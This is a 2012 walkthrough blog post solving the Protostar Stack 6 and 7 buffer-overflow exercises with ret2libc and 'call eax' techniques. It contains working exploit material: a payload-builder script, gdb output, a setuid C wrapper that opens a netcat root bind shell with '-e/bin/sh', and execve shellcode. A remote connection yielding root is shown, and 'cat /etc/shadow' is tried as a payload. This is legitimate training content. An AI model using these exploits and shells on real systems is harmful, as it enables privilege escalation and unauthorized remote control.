Protostar Stack Exploits (Solutions 6-7)

Buffer overflow exploit exercises, part three.

Published on 28 August 2012

Overview

Protostar is a series of exercises from Exploit Exercises. In addition to three final levels, it has four basic sections: network programming, format strings, heap overflows, and stack overflows.

This series of posts contains solutions and walkthroughs for the stack overflow levels (“Stack”). It assumes basic knowledge of systems programming and is meant to serve as a reference for those stuck on certain levels. This is the final post for Stack.

Solutions

Stack 6

Description (full): Execute shellcode with a restriction on the return address. This mimics a nonexecutable stack by barring any return addresses of the form 0xbfxxxxxx.

Utilities

We’ll add one more script to our utility belt. This will help us quickly make guesses for buffer overflows.

~/try-address.sh:

#!/bin/bash
# Takes an offset and unlimited 4-byte addresses and prints it in little-endian order
if [[ $# -lt 2 ]]; then
    echo "usage: $0 OFFSET ADDRESS. Example: $0 80 0xdeadbeef 0xf00f00f0"
    exit 1
fi

perl -e "print 'A'x$1"
shift
for addr in $@; do
    for i in $(seq 8 -2 2); do echo -ne "\x${addr:$i:2}"; done
done

Solution

First, we need to find the proper offset for overwriting the return address. The command below reveals that the return address is 16 bytes after the end of the 64 byte buffer, meaning that 80 bytes are needed before overwriting the return address.

$ for i in $(seq 76 4 100); do echo $i; ~/try-address.sh $i 0xbfffffff | ./stack6; done
76
...
80
input path please: bzzzt (0xbfffffff)
84
...

For our solution, we’ll be performing a ret2libc attack. This paper by InVoLuNTaRy offers an in-depth description of the tactic (sidenote: it’s one of the most well-written papers that I’ve ever read and well worth the read). The rest of this section assumes that this paper has been read.

First, we find the addresses of the system() and exit() libc functions. exit() isn’t strictly necessary, but since ret2libc ultimately calls two functions, we prefer to return without a segmentation fault.

$ gdb -q stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, main (argc=1, argv=0xbffff874) at stack6/stack6.c:27
27      stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecefb0 <__libc_system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xb7ec50c0 <*__GI_exit>

We see that our functions have the following addresses:

  • system(): 0xb7ecefb0
  • exit(): 0xb7ec50c0

Given the particular stack layout for a ret2libc attack (described in the InVoLuNTaRy paper), our solution will be of the form:

$ ~/try-address.sh 80 (ENV_VAR_ADDRESS) (EXIT()_ADDRESS) (SYSTEM()_ADDRESS)

Sanity checks

First, let’s make sure that we can actually execute code.

$ export TEST=whoami
$ /home/user/try-address.sh 80 0xb7ecefb0 0xb7ec50c0 0xbfffff8a | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA���P췊���
sh: =whoami: not found
$ /home/user/try-address.sh 80 0xb7ecefb0 0xb7ec50c0 0xbfffff8b | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA���P췋���
root

Working netcat solution

There are two obstacles to a working solution.

  1. Environmental variables with spaces don’t work. All of the following would fail:
$ export RUN="nc -lp8080 -e/bin/sh"
$ export RUN="cat /etc/shadow"
$ export RUN="\"cat /etc/shadow\""
  1. system() will drop our root privileges (man system)

Instead, we can wrap our call to netcat in another C program, naming an executable without spaces and restoring our privileges.

#include <stdlib.h>

int main(int argc, char **argv, char **envp) {
    setuid(0); // These two are necessary, as system() drops privileges
    setgid(0);
    char *args[] = {  "nc", "-lp8080", "-e/bin/sh", (char *) 0 };
    execve("/bin/nc", args, envp);
}
$ gcc ~/netcat.c -o ~/netcat
$ export RUN=/////////////////////////////////////home/user/netcat   # The slashes are similar to a NOP sled
$ ~/envaddr RUN
RUN is at address 0xbfffff9e
$ /home/user/try-address.sh 80 0xb7ecefb0 0xb7ec50c0 0xbfffff9e | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA���P췞���
sh: 192.168.1.10: not found

system() doesn’t seem to be using the contents of our environmental variable. If we look at the environmental variables, though, we see that we were close enough: RUN is the next variable. We then adjust our estimate for the address of RUN by 20 bytes.

$ env
...
HOME=/home/user
LOGNAME=user
SSH_CONNECTION=192.168.1.7 49324 192.168.1.10 22
RUN=/////////////////////////////////////home/user/netcat
_=/usr/bin/env
$ /home/user/try-address.sh 80 0xb7ecefb0 0xb7ec50c0 0xbfffffbe | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA���P췳���
<waiting>

Finally, through a remote machine:

$[louis@neutrino ~]$ nc 192.168.1.10 8080
whoami
root

Stack: Level 7

Description (full): Execute shellcode with further restrictions on the return address. Any address of the form 0xbxxxxxxx raises an error.

Overview

The return value of a function is usually stored in the eax register. The key to this level is the call to return strdup(buf): this means we can find the buffer (e.g. our shellcode) in the eax register when getpath() returns.

The code restricts us from returning to any code on the bottom of the stack (0xbxxxxxxx) and advises us to return to the .text section. In particular, we’ll want to return to a call eax instruction, which will then call our shellcode.

$ objdump -M intel -d stack7 | grep "call.*eax"
8048478:       ff 14 85 5c 96 04 08    call   DWORD PTR [eax*4+0x804965c]
80484bf:       ff d0                   call   eax
80485eb:       ff d0                   call   eax

If we play with the numbers like in earlier levels, we’ll find that 80 bytes are needed before the return address. Our buffer overflow will look like this:

Buffer start
      | ---------- Shellcode (n bytes) --------- |
      | -------- Padding (80 - n bytes) -------- |
      | -- Return address 0x80484bf (4 bytes) -- |
Buffer end (84 bytes total)

Solution

In earlier levels, we found that opening a shell with gets(). However, we can still use it to validate our strategy:

$ echo -ne $(cat ~/shell)$(~/try-address.sh 49 0x080484bf) | wc -c
84
$ echo -ne $(cat ~/shell)$(~/try-address.sh 49 0x080484bf) > /tmp/stack7shell
$ gdb -q stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) run < /tmp/stack7shell
Starting program: /opt/protostar/bin/stack7 < /tmp/stack7shell
input path please: got path ����1�Ph//shh/bin��h-ilsP�̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA��
Executing new program: /bin/dash

Program exited normally.

If we give it a shot with our nc shellcode, we’ll find the following error: bin/sh: forward host lookup failed: Unknown host. This occurs as a complication from having options passed into the execve call.

We can add another wrapper to the netcat.c used in Level 6 by writing our own shellcode. This shellcode will simply execute /tmp/nc, an alias for a compiled netcat.c. This file, in turn, calls netcat and listens via port 8080.

~/sc-tmp-nc.asm:

BITS 32

xor eax, eax
push eax
push 0x636e2f2f         ; //nc
push 0x706d742f         ; /tmp
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11              ; execve()
int 0x80
$ nasm ~/sc-tmp-nc.asm
$ gcc ~/netcat.c -o ~/netcat
$ cp /home/user/netcat /tmp/nc
$ cat /home/user/sc-tmp-nc | wc -c
25
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��
$ echo -ne $(cat ~/sc-tmp-nc)$(~/try-address.sh 55 0x080484bf) | ./stack7
input path please: got path 1�Ph//nch/tmp���̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA��
<waiting>

On a remote machine:

$[louis@neutrino ~]$ nc 192.168.1.10 8080
whoami
root

Comments